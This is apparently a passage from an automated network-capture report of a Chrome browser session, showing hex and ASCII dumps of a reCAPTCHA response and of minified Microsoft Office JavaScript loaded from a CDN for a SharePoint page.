2024-04-26 08:00:26 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Fri, 26 Apr 2024 08:00:26 GMT Expires: Fri, 26 Apr 2024 08:00:26 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09AEdsM9PBd4T67RtdaI0mdEL_uu8eNgF12ZP6FP7kis4OG7eqb8-huCUxW2Qj58opj1xX0P5uOm7oXCy7lgA3H6g;Path=/recaptcha;Expires=Wed, 23-Oct-2024 08:00:26 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:26 UTC	559	IN	Data Raw: 32 33 38 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 36 4c 50 4b 62 63 77 68 4a 4c 70 63 54 78 74 48 4b 73 4d 56 38 68 76 71 57 7a 46 37 35 71 52 34 42 71 57 75 61 75 77 64 61 34 77 47 53 58 6f 53 4a 4e 6f 42 6d 61 64 44 41 33 54 4b 5a 38 45 6d 4c 57 48 4a 54 6d 31 36 54 79 66 6e 58 59 63 52 30 48 74 66 62 4e 76 30 51 4a 48 45 79 4a 55 6f 63 61 53 4a 79 4e 39 63 66 71 6e 46 7a 48 38 32 32 4c 37 52 4b 39 43 45 36 2d 6f 34 37 75 74 47 32 46 37 39 4d 57 6c 39 48 2d 70 56 6c 35 6f 65 51 64 4f 38 46 46 30 72 48 70 67 78 74 6b 6f 65 2d 69 6a 65 4d 55 77 6f 4c 63 51 69 4b 33 4e 6a 66 78 63 74 57 74 65 64 72 42 33 4b 43 65 61 46 45 37 52 6b 67 37 4b 44 6f 4b 75 39 31 6e 42 45 5f 69 51 41 75 38 57 69 2d 57 68 75 36 74 41 5f 34 4f 65 Data Ascii: 238)]}'["rresp","03AFcWeA6LPKbcwhJLpcTxtHKsMV8hvqWzF75qR4BqWuauwda4wGSXoSJNoBmadDA3TKZ8EmLWHJTm16TyfnXYcR0HtfbNv0QJHEyJUocaSJyN9cfqnFzH822L7RK9CE6-o47utG2F79MWl9H-pVl5oeQdO8FF0rHpgxtkoe-ijeMUwoLcQiK3NjfxctWtedrB3KCeaFE7Rkg7KDoKu91nBE_iQAu8Wi-Whu6tA_4Oe
2024-04-26 08:00:26 UTC	16	IN	Data Raw: 64 7a 37 45 63 47 57 6e 47 4c 45 44 65 4d 0d 0a Data Ascii: dz7EcGWnGLEDeM
2024-04-26 08:00:26 UTC	1255	IN	Data Raw: 61 34 34 0d 0a 77 45 2d 75 6c 66 6f 7a 51 5a 5a 69 66 74 58 34 44 35 38 36 50 78 45 63 79 68 33 38 66 4f 73 56 4f 4d 53 34 6f 78 47 50 69 44 56 33 62 4a 4f 63 74 79 43 4c 38 4d 38 57 69 4e 43 77 31 6e 4b 6e 70 50 39 48 57 51 50 6a 63 49 53 41 41 46 54 2d 35 36 74 62 43 6a 75 34 53 4c 39 44 53 54 75 72 75 48 4b 54 66 53 70 68 4e 73 52 61 66 45 62 47 33 5f 4a 30 4a 4c 68 31 46 32 69 79 4a 74 66 65 6d 74 42 53 38 41 73 54 46 54 41 6d 46 51 65 56 53 64 55 4e 55 62 63 4a 65 76 51 6e 46 33 74 70 5f 7a 66 38 6c 5a 4f 70 32 37 46 76 34 4d 73 34 6d 48 66 32 39 6f 49 6b 4e 71 36 6c 44 69 54 39 61 5f 6e 56 39 78 32 35 44 69 67 51 77 5f 55 6a 6d 36 74 41 5f 73 47 68 50 2d 44 79 64 49 4a 78 67 41 36 62 78 4c 32 61 56 78 6e 50 77 63 39 56 6b 59 6a 6e 70 76 41 6f 64 35 Data Ascii: a44wE-ulfozQZZiftX4D586PxEcyh38fOsVOMS4oxGPiDV3bJOctyCL8M8WiNCw1nKnpP9HWQPjcISAAFT-56tbCju4SL9DSTuruHKTfSphNsRafEbG3_J0JLh1F2iyJtfemtBS8AsTFTAmFQeVSdUNUbcJevQnF3tp_zf8lZOp27Fv4Ms4mHf29oIkNq6lDiT9a_nV9x25DigQw_Ujm6tA_sGhP-DydIJxgA6bxL2aVxnPwc9VkYjnpvAod5
2024-04-26 08:00:26 UTC	1255	IN	Data Raw: 6c 70 79 68 69 32 41 4b 5a 52 37 6f 34 46 37 6c 4d 30 59 30 70 4d 47 41 46 4b 64 74 38 77 62 6c 4e 6e 35 67 4a 38 35 44 77 2d 78 34 70 76 5a 59 4d 6c 6c 72 39 77 4e 66 73 4f 79 30 63 79 34 64 58 67 4e 31 76 48 34 33 4d 41 64 58 75 39 63 7a 6c 6d 4c 37 30 4d 78 70 7a 73 6d 2d 6c 65 46 59 56 6e 4d 42 6f 70 6d 64 70 4b 57 6a 78 54 72 5a 46 54 73 37 48 6b 47 57 46 62 41 53 61 2d 36 55 62 67 4f 38 39 48 2d 55 79 73 7a 57 78 31 61 34 4e 47 7a 46 62 70 4a 6e 74 63 5f 67 36 63 42 47 39 70 38 32 58 51 6d 37 69 6e 37 51 71 76 5a 42 75 67 59 4b 33 2d 6d 72 37 59 69 47 42 5a 47 37 50 43 62 69 41 76 7a 33 73 4d 6f 32 69 34 36 49 5a 78 53 6d 2d 31 79 78 51 51 6b 37 57 45 79 73 73 50 70 68 65 42 78 4d 44 4f 72 55 68 52 35 77 52 70 32 53 36 78 2d 35 44 5f 47 35 33 4b 74 Data Ascii: lpyhi2AKZR7o4F7lM0Y0pMGAFKdt8wblNn5gJ85Dw-x4pvZYMllr9wNfsOy0cy4dXgN1vH43MAdXu9czlmL70Mxpzsm-leFYVnMBopmdpKWjxTrZFTs7HkGWFbASa-6UbgO89H-UyszWx1a4NGzFbpJntc_g6cBG9p82XQm7in7QqvZBugYK3-mr7YiGBZG7PCbiAvz3sMo2i46IZxSm-1yxQQk7WEyssPpheBxMDOrUhR5wRp2S6x-5D_G53Kt
2024-04-26 08:00:26 UTC	125	IN	Data Raw: 35 34 45 37 4a 56 56 41 66 4e 5a 4d 49 58 64 62 41 44 62 7a 4b 56 4b 41 4a 6b 76 74 6a 32 73 65 61 52 35 4c 69 55 59 45 6e 73 68 77 63 78 71 6a 70 72 70 44 70 63 74 6d 35 66 6e 72 76 45 42 7a 4e 4f 55 65 69 4e 58 59 68 44 37 47 4c 2d 4f 4c 65 67 75 61 6f 2d 4c 4d 31 56 34 4e 54 6b 33 76 6e 48 41 57 51 46 79 72 4c 35 33 6a 4f 77 52 42 72 61 4c 71 47 52 75 76 49 70 2d 0d 0a Data Ascii: 54E7JVVAfNZMIXdbADbzKVKAJkvtj2seaR5LiUYEnshwcxqjprpDpctm5fnrvEBzNOUeiNXYhD7GL-OLeguao-LM1V4NTk3vnHAWQFyrL53jOwRBraLqGRuvIp-
2024-04-26 08:00:26 UTC	1255	IN	Data Raw: 31 35 36 39 0d 0a 47 64 52 48 53 4c 42 41 33 7a 6d 2d 44 32 63 59 78 52 63 4e 6d 42 51 75 75 34 6a 78 36 44 79 76 47 66 45 2d 50 44 77 4c 41 51 62 69 67 4f 76 4a 5f 4b 4c 6d 69 30 4f 51 66 72 52 4e 48 44 76 48 38 4e 6e 51 67 65 47 68 37 72 44 67 75 5f 55 78 6c 7a 41 58 30 64 57 62 59 64 32 57 35 63 74 43 78 4f 4a 43 6a 51 64 66 71 4f 2d 47 57 70 7a 4e 64 34 52 6a 71 33 61 68 6e 68 4d 6e 7a 56 32 42 44 53 6b 54 62 37 4e 6c 67 31 47 4d 62 59 47 56 75 71 30 35 37 31 69 4b 6b 44 54 6f 72 6b 6c 52 7a 34 66 44 47 50 43 32 63 55 33 6f 32 76 4c 6d 51 36 43 58 70 32 4b 4c 58 4e 34 43 7a 7a 65 51 51 73 63 7a 54 59 78 5f 73 37 67 38 45 68 5a 6d 48 6a 32 79 64 65 74 35 74 34 68 45 77 6d 46 39 4c 58 6c 6b 49 6f 51 37 6e 6d 68 56 64 37 71 41 71 71 75 77 4b 68 51 43 6f Data Ascii: 1569GdRHSLBA3zm-D2cYxRcNmBQuu4jx6DyvGfE-PDwLAQbigOvJ_KLmi0OQfrRNHDvH8NnQgeGh7rDgu_UxlzAX0dWbYd2W5ctCxOJCjQdfqO-GWpzNd4Rjq3ahnhMnzV2BDSkTb7Nlg1GMbYGVuq0571iKkDTorklRz4fDGPC2cU3o2vLmQ6CXp2KLXN4CzzeQQsczTYx_s7g8EhZmHj2ydet5t4hEwmF9LXlkIoQ7nmhVd7qAqquwKhQCo
2024-04-26 08:00:26 UTC	1255	IN	Data Raw: 68 4d 42 34 35 34 36 72 7a 44 56 54 41 63 32 65 6f 63 57 78 64 39 49 59 68 67 65 6c 6b 4b 37 56 67 7a 37 45 49 6e 56 78 6b 4f 64 77 73 59 73 57 2d 74 36 6d 5f 6e 31 70 70 32 33 68 49 69 30 68 64 77 35 73 65 32 56 37 65 79 30 4a 64 4a 66 71 54 7a 38 47 65 6f 67 4a 6f 72 4c 63 34 77 6c 50 62 6d 64 5a 41 50 58 4a 76 31 52 50 51 4f 53 55 42 57 73 42 56 6d 46 64 33 50 77 6d 6f 47 4a 73 4a 58 43 56 36 49 75 77 43 5a 33 30 4e 47 73 43 5a 6e 74 6d 34 30 63 57 48 73 54 76 33 4c 31 63 65 4a 51 4f 76 70 4d 54 46 38 69 44 70 4d 41 58 35 6e 70 71 46 50 73 41 71 64 45 72 6d 31 49 49 77 50 52 41 30 53 54 4c 4a 4b 56 53 65 73 4b 35 7a 54 46 39 37 71 68 45 4a 42 68 41 6b 2d 6f 62 6c 54 4b 44 63 51 6d 71 57 54 68 31 38 62 69 59 6b 6b 57 7a 78 47 6d 72 32 65 6d 72 67 4a 6b Data Ascii: hMB4546rzDVTAc2eocWxd9IYhgelkK7Vgz7EInVxkOdwsYsW-t6m_n1pp23hIi0hdw5se2V7ey0JdJfqTz8GeogJorLc4wlPbmdZAPXJv1RPQOSUBWsBVmFd3PwmoGJsJXCV6IuwCZ30NGsCZntm40cWHsTv3L1ceJQOvpMTF8iDpMAX5npqFPsAqdErm1IIwPRA0STLJKVSesK5zTF97qhEJBhAk-oblTKDcQmqWTh18biYkkWzxGmr2emrgJk
2024-04-26 08:00:26 UTC	1255	IN	Data Raw: 56 31 46 77 63 32 5a 57 58 31 52 72 4c 6d 70 7a 22 2c 22 22 2c 22 64 48 64 4a 4f 54 45 79 65 57 39 55 64 33 42 75 54 31 6c 46 4c 32 78 52 4e 56 56 51 53 48 42 47 52 54 56 43 61 45 6c 4e 61 53 39 50 64 30 74 73 62 30 74 49 55 55 74 7a 62 57 73 31 55 6b 5a 61 55 47 52 76 61 6a 6b 7a 54 7a 4d 7a 4f 45 6c 74 52 6e 46 32 4f 57 52 4d 63 7a 42 51 55 46 70 6f 5a 44 56 33 57 48 4d 72 4d 45 4d 33 54 45 74 58 51 7a 52 45 5a 33 56 49 5a 55 70 47 4d 6a 64 42 64 30 56 44 55 33 41 30 55 7a 6b 76 53 45 52 78 54 31 52 6a 57 6d 52 45 51 6d 6b 34 64 48 70 78 65 56 42 53 51 6d 6c 32 64 6a 56 4a 54 46 56 4b 62 45 64 6d 51 32 64 4e 5a 6e 56 30 61 54 41 77 65 47 46 35 52 56 6b 72 4f 57 56 48 53 54 68 30 59 6e 4e 4d 61 6e 6c 69 57 46 4a 46 55 6a 46 5a 5a 44 42 79 4d 6a 46 56 61 Data Ascii: V1Fwc2ZWX1RrLmpz","","dHdJOTEyeW9Ud3BuT1lFL2xRNVVQSHBGRTVCaElNaS9Pd0tsb0tIUUtzbWs1UkZaUGRvajkzTzMzOEltRnF2OWRMczBQUFpoZDV3WHMrMEM3TEtXQzREZ3VIZUpGMjdBd0VDU3A0UzkvSERxT1RjWmREQmk4dHpxeVBSQml2djVJTFVKbEdmQ2dNZnV0aTAweGF5RVkrOWVHSTh0YnNManliWFJFUjFZZDByMjFVa
2024-04-26 08:00:26 UTC	1255	IN	Data Raw: 44 5a 76 61 33 64 4f 5a 57 6b 31 54 45 6c 30 5a 79 39 30 52 30 77 72 51 79 39 6b 57 6e 42 42 54 55 39 61 61 32 6c 78 65 44 68 74 5a 58 6c 6e 5a 55 5a 79 63 6a 4d 76 53 6d 4a 76 57 6b 4a 52 53 47 6f 77 55 30 46 42 4d 6c 42 53 4f 45 35 51 52 54 6c 71 4f 45 78 52 54 47 56 71 4e 53 38 35 5a 47 74 6a 64 6c 56 42 55 45 52 78 56 45 6c 71 61 32 35 71 62 56 46 75 53 6d 4a 48 56 45 56 77 51 32 6c 36 4b 31 64 6f 5a 7a 46 70 61 55 6c 30 4e 55 78 52 63 6a 4e 46 4f 48 56 50 53 56 46 7a 63 57 6c 6a 61 56 5a 30 59 55 64 73 65 6a 4d 30 65 57 38 30 52 6a 51 72 64 6c 59 78 4e 6e 6c 46 4e 46 46 57 65 47 78 4f 4d 46 5a 31 59 6b 5a 46 56 56 5a 34 5a 48 6b 31 61 6d 4e 6c 4d 44 52 53 62 47 77 78 4e 44 68 47 62 56 64 70 64 57 6c 36 56 46 6c 33 56 47 4e 53 54 7a 4d 76 57 6d 64 76 Data Ascii: DZva3dOZWk1TEl0Zy90R0wrQy9kWnBBTU9aa2lxeDhtZXlnZUZycjMvSmJvWkJRSGowU0FBMlBSOE5QRTlqOExRTGVqNS85ZGtjdlVBUERxVElqa25qbVFuSmJHVEVwQ2l6K1doZzFpaUl0NUxRcjNFOHVPSVFzcWljaVZ0YUdsejM0eW80RjQrdlYxNnlFNFFWeGxOMFZ1YkZFVVZ4ZHk1amNlMDRSbGwxNDhGbVdpdWl6VFl3VGNSTzMvWmdv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50053	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:26 UTC	678	OUT	GET /wise/owl/owl.35819d8f570fa23cdb95.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usigroups-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:26 UTC	1186	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 129173 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 08:00:26 GMT Last-Modified: Wed, 24 Apr 2024 19:11:38 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1820277715484342399214420351504908682663"}],"include_subdomains ":true} Server: ECAcc (mid/8720) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: f3fc1e81-101e-0058-6e83-96b05f000000 Content-Length: 263229 Connection: close
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 65 2c 74 2c 6f 2c 69 3d 7b 39 33 32 33 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 2e 64 28 65 2c 7b 58 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 7d 29 3b 76 61 72 20 6f 3d 74 28 34 34 30 31 29 2c 69 3d 74 28 38 35 37 29 2c 72 3d 74 28 37 36 35 29 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 74 3d 6e 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 74 2e 48 3d 65 2c 74 7d 72 65 74 75 72 6e 20 6f 2e 5a 54 28 65 2c 6e 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2e 70 72 6f 74 6f 74 79 Data Ascii: var Microsoft;!function(){"use strict";var n,e,t,o,i={9323:function(n,e,t){t.d(e,{X:function(){return u}});var o=t(4401),i=t(857),r=t(765),u=function(n){function e(e){var t=n.call(this)\|\|this;return t.H=e,t}return o.ZT(e,n),Object.defineProperty(e.prototy
2024-04-26 08:00:26 UTC	1	IN	Data Raw: 7d Data Ascii: }
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 28 6e 2c 65 2c 74 29 7d 7d 28 28 6f 3d 65 2e 63 6e 2e 73 70 6c 69 63 65 28 30 2c 6e 3f 65 2e 73 6e 3a 65 2e 63 6e 2e 6c 65 6e 67 74 68 29 2c 69 3d 65 2e 76 6e 2c 61 3d 65 2e 6c 6e 2c 73 3d 65 2e 64 6e 2c 6c 3d 5b 5d 2c 63 3d 6f 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 76 61 72 20 6f 3d 7b 7d 3b 69 66 28 6f 2e 47 3d 6e 2e 74 61 67 2c 6f 2e 54 3d 6e 2e 74 69 6d 65 73 74 61 6d 70 2d 65 2c 6f 2e 4d 3d 6e 2e 6d 65 73 73 61 67 65 2c 6f 2e 43 3d 6e 2e 63 61 74 65 67 6f 72 79 2c 6e 2e 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 29 7b 76 61 72 20 69 3d 74 2e 66 69 6e 64 49 6e 64 65 78 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 6e 2e 63 6f 72 72 65 6c 61 74 Data Ascii: (n,e,t)}}((o=e.cn.splice(0,n?e.sn:e.cn.length),i=e.vn,a=e.ln,s=e.dn,l=[],c=o.map((function(n){return function(n,e,t){var o={};if(o.G=n.tag,o.T=n.timestamp-e,o.M=n.message,o.C=n.category,n.correlationId){var i=t.findIndex((function(e){return e===n.correlat
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 2c 6e 2e 43 6c 69 65 6e 74 53 65 6e 64 54 69 6d 65 3d 22 74 22 7d 28 73 7c 7c 28 73 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 5b 6e 2e 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 3d 30 5d 3d 22 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 22 2c 6e 5b 6e 2e 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 3d 31 5d 3d 22 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 22 2c 6e 5b 6e 2e 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 3d 32 5d 3d 22 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 22 2c 6e 5b 6e 2e 49 6e 73 74 61 6c Data Ascii: ,n.ClientSendTime="t"}(s\|\|(s={})),function(n){n[n.AttemptToUseFunctionalityBeforeIitialization=0]="AttemptToUseFunctionalityBeforeIitialization",n[n.WorkerApiIsNotAvailable=1]="WorkerApiIsNotAvailable",n[n.InvalidWorkerUrl=2]="InvalidWorkerUrl",n[n.Instal
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 54 72 61 63 65 54 61 67 28 35 35 33 37 32 36 32 38 37 2c 69 2e 57 2e 64 6f 2c 72 2e 47 2e 49 6e 66 6f 2c 22 47 65 74 57 6f 70 69 44 61 74 61 3a 20 47 65 74 74 69 6e 67 20 57 6f 70 69 48 6f 73 74 44 61 74 61 20 66 72 6f 6d 20 64 72 69 76 65 20 69 74 65 6d 2e 20 5b 49 73 56 61 6c 69 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 21 68 2c 22 5d 22 29 29 3b 76 61 72 20 70 3d 7b 73 74 61 72 74 54 69 6d 65 3a 66 2c 65 6e 64 54 69 6d 65 3a 28 30 2c 6f 2e 56 46 29 28 29 7d 3b 72 65 74 75 72 6e 28 30 2c 6f 2e 6c 35 29 28 22 77 6f 70 69 44 61 74 61 45 6e 64 54 69 6d 65 22 29 2c 7b 64 6f 63 75 6d 65 6e 74 49 64 65 6e 74 69 66 69 65 72 3a 76 2c 77 6f 70 69 48 6f 73 74 44 61 74 61 3a 68 2c 66 65 74 63 68 44 69 61 67 6e 6f 73 74 69 63 73 3a 70 7d 7d 29 29 2e 63 61 74 63 68 28 Data Ascii: TraceTag(553726287,i.W.do,r.G.Info,"GetWopiData: Getting WopiHostData from drive item. [IsValid: ".concat(!!h,"]"));var p={startTime:f,endTime:(0,o.VF)()};return(0,o.l5)("wopiDataEndTime"),{documentIdentifier:v,wopiHostData:h,fetchDiagnostics:p}})).catch(
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 61 70 70 65 64 20 6e 6f 74 20 6c 6f 61 64 65 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 74 29 3b 6e 75 6c 6c 3d 3d 4c 7c 7c 4c 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 37 35 34 31 39 34 30 33 2c 76 2e 57 2e 64 6f 2c 68 2e 47 2e 45 72 72 6f 72 2c 75 29 3b 76 61 72 20 61 3d 7b 77 61 63 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 41 55 2e 6b 6f 2c 71 6f 73 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 44 47 2e 51 6f 73 45 72 72 6f 72 5f 4f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 4e 6f 74 4c 6f 61 64 65 64 2c 65 72 72 6f 72 4d 65 73 73 61 67 65 3a 75 2c 65 72 72 6f 72 3a 72 2c 69 6e 53 74 61 67 69 6e 67 3a 21 31 7d 3b 69 26 26 69 28 61 29 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 73 28 6e 29 7d 29 29 29 2c 5b 32 5d 7d 29 29 Data Ascii: apped not loaded: ".concat(!t);null==L\|\|L.ULS.sendTraceTag(575419403,v.W.do,h.G.Error,u);var a={wacErrorName:c.AU.ko,qosErrorName:c.DG.QosError_OfficeBootstrapperNotLoaded,errorMessage:u,error:r,inStaging:!1};i&&i(a)}})).catch((function(n){s(n)}))),[2]}))
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 72 61 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 53 74 61 72 74 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 45 6e 64 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 45 6e 64 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 44 6f 6d 43 6f 6d 70 6c 65 74 65 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6d 70 6c 65 74 65 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 64 69 72 65 63 74 43 6f 75 6e 74 3a 28 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 6e 61 76 69 Data Ascii: ramePageResponseStartTime:(null==e?void 0:e.timing.responseStart)\|\|0,owlFramePageResponseEndTime:(null==e?void 0:e.timing.responseEnd)\|\|0,owlFramePageDomCompleteTime:(null==e?void 0:e.timing.domComplete)\|\|0,owlFramePageRedirectCount:(null==e?void 0:e.navi
2024-04-26 08:00:26 UTC	5	IN	Data Raw: 74 43 44 69 6d Data Ascii: tCDim
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 65 6e 73 69 6f 6e 28 22 57 69 73 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 74 68 69 73 2e 68 65 61 6c 74 68 2e 61 64 64 4f 72 55 70 64 61 74 65 50 61 72 74 43 44 69 6d 65 6e 73 69 6f 6e 28 22 45 78 70 6f 73 75 72 65 22 2c 6e 75 6c 6c 21 3d 3d 28 68 3d 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 74 6f 53 74 72 69 6e 67 28 29 29 26 26 76 6f 69 64 20 30 21 3d 3d 68 3f 68 3a 22 6e 2f 61 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 76 61 72 20 6e 2c 65 3d 6e 75 6c 6c 3d 3d 3d 28 6e 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 5b 30 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f 4a 53 4f 4e 28 Data Ascii: ension("WiseEnvironment",t.toString()),this.health.addOrUpdatePartCDimension("Exposure",null!==(h=null==i?void 0:i.toString())&&void 0!==h?h:"n/a")};function l(){var n,e=null===(n=performance.getEntriesByType("navigation")[0])\|\|void 0===n?void 0:n.toJSON(
2024-04-26 08:00:26 UTC	16383	IN	Data Raw: 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 3a 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 70 70 6f 72 74 73 43 75 73 74 6f 6d 41 75 74 68 43 6f 6e 66 69 67 2c 64 69 72 65 63 74 50 72 69 6e 74 3a 6e 75 6c 6c 3d 3d 3d 28 61 3d 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 70 70 6f 72 74 73 44 69 72 65 63 74 50 72 69 6e 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 7c 7c 61 2c 64 69 72 65 63 74 44 6f 77 6e 6c 6f 61 64 3a 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 70 70 6f 72 74 73 44 69 72 65 63 74 44 6f 77 6e 6c 6f 61 64 7d 2c 75 69 48 6f 73 74 4e 61 6d 65 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 75 69 48 6f 73 74 4e 61 6d 65 29 7c 7c 6f 2e 4e 32 2c 72 65 71 75 69 72 65 45 78 70 6c 69 63 69 74 55 6e 6c 6f 61 Data Ascii: stomAuthConfig:null==t?void 0:t.supportsCustomAuthConfig,directPrint:null===(a=null==t?void 0:t.supportsDirectPrint)\|\|void 0===a\|\|a,directDownload:null==t?void 0:t.supportsDirectDownload},uiHostName:(null==t?void 0:t.uiHostName)\|\|o.N2,requireExplicitUnloa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50055	142.250.64.196	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
